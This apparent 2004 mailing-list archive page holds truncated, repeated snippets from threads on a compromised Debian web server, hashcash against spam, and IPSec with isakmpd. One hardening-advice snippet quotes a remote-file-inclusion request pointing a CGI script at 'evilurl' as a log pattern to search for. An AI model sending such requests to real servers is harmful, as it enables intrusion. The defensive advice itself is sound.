Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Steve Kemp
On Wed, Jun 16, 2004 at 11:44:17AM -0500, Micah Anderson wrote: > > > > > > Install some rules for it to harden your webserver, see if anything is > > > flagged in the security log. > > > > other web server testing tools > > http://www.linux-sec.net/Web/#Testing > > Has anyone actually used

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Michael Stone
On Wed, Jun 16, 2004 at 11:38:10AM -0400, Hubert Chan wrote: tokens in order to get any effect from SpamAssassin. Other than using zombies, I don't think spammers could afford to generate real tokens for every recipient. Well, since there are millions of vulnerable systems all over the 'net th

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Micah Anderson
On Tue, 15 Jun 2004, Alvin Oga wrote: > > hi ya > > On Wed, 16 Jun 2004, TiM wrote: > > > > > Look at installing mod_security, http://modsecurity.org > > > > Install some rules for it to harden your webserver, see if anything is > > flagged in the security log. > > other web server testing

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Steve Kemp
On Wed, Jun 16, 2004 at 11:44:17AM -0500, Micah Anderson wrote: > > > > > > Install some rules for it to harden your webserver, see if anything is > > > flagged in the security log. > > > > other web server testing tools > > http://www.linux-sec.net/Web/#Testing > > Has anyone actually used

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Hubert Chan
> "Daniel" == Daniel Pittman <[EMAIL PROTECTED]> writes: Daniel> On 16 Jun 2004, Hubert Chan wrote: >> SpamAssassin will check for hashcash in the future. Support is >> already present in the development version of SpamAssassin. Daniel> ...makes you wonder how long it will take before someon

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Michael Stone
On Wed, Jun 16, 2004 at 11:38:10AM -0400, Hubert Chan wrote: tokens in order to get any effect from SpamAssassin. Other than using zombies, I don't think spammers could afford to generate real tokens for every recipient. Well, since there are millions of vulnerable systems all over the 'net that d

Re: IPSec tunnels with isakmpd

2004-06-16 Thread Jean-Francois Dive
It should works even though i must admit i regulary release the package while only testing with 2.6 based kernels (blame blame). I did howver tested it some times ago on a 2.4.xx (cant remember) when Herbert decided to take the ipsec backport. What's going wrong ? J. On Wed, Jun 16, 2004 at 12:49

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Micah Anderson
On Tue, 15 Jun 2004, Alvin Oga wrote: > > hi ya > > On Wed, 16 Jun 2004, TiM wrote: > > > > > Look at installing mod_security, http://modsecurity.org > > > > Install some rules for it to harden your webserver, see if anything is > > flagged in the security log. > > other web server testing

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Hubert Chan
> "Daniel" == Daniel Pittman <[EMAIL PROTECTED]> writes: Daniel> On 16 Jun 2004, Hubert Chan wrote: >> SpamAssassin will check for hashcash in the future. Support is >> already present in the development version of SpamAssassin. Daniel> ...makes you wonder how long it will take before someon

Re: IPSec tunnels with isakmpd

2004-06-16 Thread Jean-Francois Dive
It should works even though i must admit i regulary release the package while only testing with 2.6 based kernels (blame blame). I did howver tested it some times ago on a 2.4.xx (cant remember) when Herbert decided to take the ipsec backport. What's going wrong ? J. On Wed, Jun 16, 2004 at 12:49

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Alf B Lervaag
Ross Tsolakidis wrote: > One of our webservers seems to get compromised on a daily basis. > When I do a ps ax I see these processes all the time. I suspect cross site scripting. You should parse your logs and search for requests like: GET /~stupiduser/buggy-script.cgi?include=http://www.evilurl/

Re: IPSec tunnels with isakmpd

2004-06-16 Thread Giacomo Mulas
On Wed, 16 Jun 2004, Carlos L.M. wrote: > Have anyone try to establish ipsec tunnels with > debian sarge with kernel 2.4.26 ??? Is it possible to > use 2.4.26 kernel with isakmpd without any patch? I do it routinely with freeswan userspace and 2.4.26 with no patch (using the backport of 2.6.x I

IPSec tunnels with isakmpd

2004-06-16 Thread Carlos L.M.
Hello, Have anyone try to establish ipsec tunnels with debian sarge with kernel 2.4.26 ??? Is it possible to use 2.4.26 kernel with isakmpd without any patch? Thank you very much. __ Yahoo! lanza su nueva tec

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Alf B Lervaag
Ross Tsolakidis wrote: > One of our webservers seems to get compromised on a daily basis. > When I do a ps ax I see these processes all the time. I suspect cross site scripting. You should parse your logs and search for requests like: GET /~stupiduser/buggy-script.cgi?include=http://www.evilurl/

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Richard Atterer
You could also try installing snoopy, which logs all commands executed by users to auth.log. Then look for unusual commands executed by user "www-data" if you suspect insecure PHP scripts etc. Cheers, Richard -- __ _ |_) /| Richard Atterer | GnuPG key: | \/¯| http://atterer.n

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Javier Fernández-Sanguino Peña
On Wed, Jun 16, 2004 at 11:46:05AM +1200, TiM wrote: > > Look at installing mod_security, http://modsecurity.org > > Install some rules for it to harden your webserver, see if anything is > flagged in the security log. Also notice that modsecurity provides a way to easily chroot your Apache we

Re: IPSec tunnels with isakmpd

2004-06-16 Thread Giacomo Mulas
On Wed, 16 Jun 2004, Carlos L.M. wrote: > Have anyone try to establish ipsec tunnels with > debian sarge with kernel 2.4.26 ??? Is it possible to > use 2.4.26 kernel with isakmpd without any patch? I do it routinely with freeswan userspace and 2.4.26 with no patch (using the backport of 2.6.x I

IPSec tunnels with isakmpd

2004-06-16 Thread Carlos L.M.
Hello, Have anyone try to establish ipsec tunnels with debian sarge with kernel 2.4.26 ??? Is it possible to use 2.4.26 kernel with isakmpd without any patch? Thank you very much. __ Yahoo! lanza su nueva tec

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Richard Atterer
You could also try installing snoopy, which logs all commands executed by users to auth.log. Then look for unusual commands executed by user "www-data" if you suspect insecure PHP scripts etc. Cheers, Richard -- __ _ |_) /| Richard Atterer | GnuPG key: | \/¯| http://atterer.n

Re: Advice needed, trying to find the vulnerable code on Debian webserver.

2004-06-16 Thread Javier Fernández-Sanguino Peña
On Wed, Jun 16, 2004 at 11:46:05AM +1200, TiM wrote: > > Look at installing mod_security, http://modsecurity.org > > Install some rules for it to harden your webserver, see if anything is > flagged in the security log. Also notice that modsecurity provides a way to easily chroot your Apache we

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Daniel Pittman
On 16 Jun 2004, Hubert Chan wrote: >> "Russell" == Russell Coker <[EMAIL PROTECTED]> writes: > Russell> On Fri, 11 Jun 2004 22:34, Patrick Maheral <[EMAIL PROTECTED]> wrote: [...] > SpamAssassin will check for hashcash in the future. Support is already > present in the development version of

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Hubert Chan
> "Russell" == Russell Coker <[EMAIL PROTECTED]> writes: Russell> On Fri, 11 Jun 2004 23:43, [EMAIL PROTECTED] (Rens Houben) wrote: >> Why bother, when said windows machines will have perfectly good >> signatures stored on them somewhere already? Russell> Presumably the signature would be bas

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Hubert Chan
> "Russell" == Russell Coker <[EMAIL PROTECTED]> writes: Russell> On Fri, 11 Jun 2004 22:34, Patrick Maheral <[EMAIL PROTECTED]> wrote: >> It seems that most people here don't like CR systems, and I'd have to >> agree with that consensus. >> >> I'm just wondering what is the general feeling a

Re: Hashcash - was re: Spam fights

2004-06-16 Thread Daniel Pittman
On 16 Jun 2004, Hubert Chan wrote: >> "Russell" == Russell Coker <[EMAIL PROTECTED]> writes: > Russell> On Fri, 11 Jun 2004 22:34, Patrick Maheral <[EMAIL PROTECTED]> wrote: [...] > SpamAssassin will check for hashcash in the future. Support is already > present in the development version of